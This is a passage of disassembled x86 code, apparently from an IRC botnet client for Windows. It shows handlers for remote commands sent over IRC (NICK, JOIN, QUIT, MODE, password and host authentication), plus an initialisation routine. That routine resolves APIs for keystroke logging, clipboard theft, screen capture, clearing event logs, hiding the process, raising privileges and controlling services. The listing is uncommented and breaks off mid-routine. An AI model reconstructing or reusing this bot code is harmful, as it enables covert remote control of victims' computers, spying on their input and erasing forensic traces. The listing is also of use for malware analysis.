; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_429E50
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E28
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5A0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429E08
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429DE4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DBC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_427078	; Sleep
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E57C[eax]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E584[eax]
		call	dword_4270AC	; TerminateThread
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43E584[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43E370[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_429D90
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429D68


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429D44
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429D18


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_42A484
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429CFC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_42A3E8
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429CD8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_429CB4
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429C90
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C6C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		call	dword_427078	; Sleep


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429C44
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C20


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42D0F0 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CB4EC
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429C1C ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B9C
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B48
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B28
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B08
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CB4E4, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_4	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	dword_427078	; Sleep

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: sub_401221+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB6E0, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CB654, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB638, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB548, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB4F4, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB524, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB59C, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CB694, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB6F0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB554, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6E0, ebx
		mov	dword_4CB53C, eax
		jz	short loc_409C10
		cmp	dword_4CB654, ebx
		jz	short loc_409C10
		cmp	dword_4CB638, ebx
		jz	short loc_409C10
		cmp	dword_4CB548, ebx
		jz	short loc_409C10
		cmp	dword_4CB524, ebx
		jz	short loc_409C10
		cmp	dword_4CB59C, ebx
		jz	short loc_409C10
		cmp	dword_4CB694, ebx
		jz	short loc_409C10
		cmp	dword_4CB6F0, ebx
		jz	short loc_409C10
		cmp	dword_4CB554, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB6F4, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB66C, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB6F8, eax
		mov	dword_4CB6F4, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CB690, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB640, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB5D4, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB604, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB624, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CB688, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB690, ebx
		mov	dword_4CB574, eax
		jz	short loc_409D00
		cmp	dword_4CB640, ebx
		jz	short loc_409D00
		cmp	dword_4CB5D4, ebx
		jz	short loc_409D00
		cmp	dword_4CB6E4, ebx
		jz	short loc_409D00
		cmp	dword_4CB604, ebx
		jz	short loc_409D00
		cmp	dword_4CB624, ebx
		jz	short loc_409D00
		cmp	dword_4CB688, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB6FC, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB600, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB508, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB600, ebx
		mov	dword_4CB5B8, eax
		jz	short loc_409D67
		cmp	dword_4CB508, ebx
		jz	short loc_409D67
		cmp	dword_4CB5D0, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB700, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB6FC, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CB6A4, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB5E8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CB658, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB534, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB598, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB610, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB6A4, ebx
		mov	dword_4CB5C4, eax
		jz	short loc_409E1A
		cmp	dword_4CB5E8, ebx
		jz	short loc_409E1A
		cmp	dword_4CB658, ebx
		jz	short loc_409E1A
		cmp	dword_4CB534, ebx
		jz	short loc_409E1A
		cmp	dword_4CB598, ebx
		jz	short loc_409E1A
		cmp	dword_4CB610, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB704, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB618, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB5F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB618, ebx
		mov	dword_4CB6A0, eax
		jz	short loc_409E5F
		cmp	dword_4CB5F0, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB704, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB628, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB510, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB518, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB57C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB580, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB52C, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB5F4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB628, ebx
		mov	dword_4CB51C, eax
		jz	short loc_409F0D
		cmp	dword_4CB510, ebx
		jz	short loc_409F0D
		cmp	dword_4CB518, ebx
		jz	short loc_409F0D
		cmp	dword_4CB57C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB580, ebx
		jz	short loc_409F0D
		cmp	dword_4CB52C, ebx
		jz	short loc_409F0D
		cmp	dword_4CB5F4, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB704, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB514, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB708, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB704, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB620, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CB678, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CB680, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB63C, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB558, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB504, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CB67C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB4F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB620, ebx
		mov	dword_4CB590, eax
		jz	short loc_40A016
		cmp	dword_4CB678, ebx
		jz	short loc_40A016
		cmp	dword_4CB680, ebx
		jz	short loc_40A016
		cmp	dword_4CB63C, ebx
		jz	short loc_40A016
		cmp	dword_4CB558, ebx
		jz	short loc_40A016
		cmp	dword_4CB504, ebx
		jz	short loc_40A016
		cmp	dword_4CB67C, ebx
		jz	short loc_40A016
		cmp	dword_4CB4F0, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		call	dword_42708C	; RtlGetLastWin32Error
		mov	dword_4CB710, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB70C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB6D8, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB544, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB520, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB5E0, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
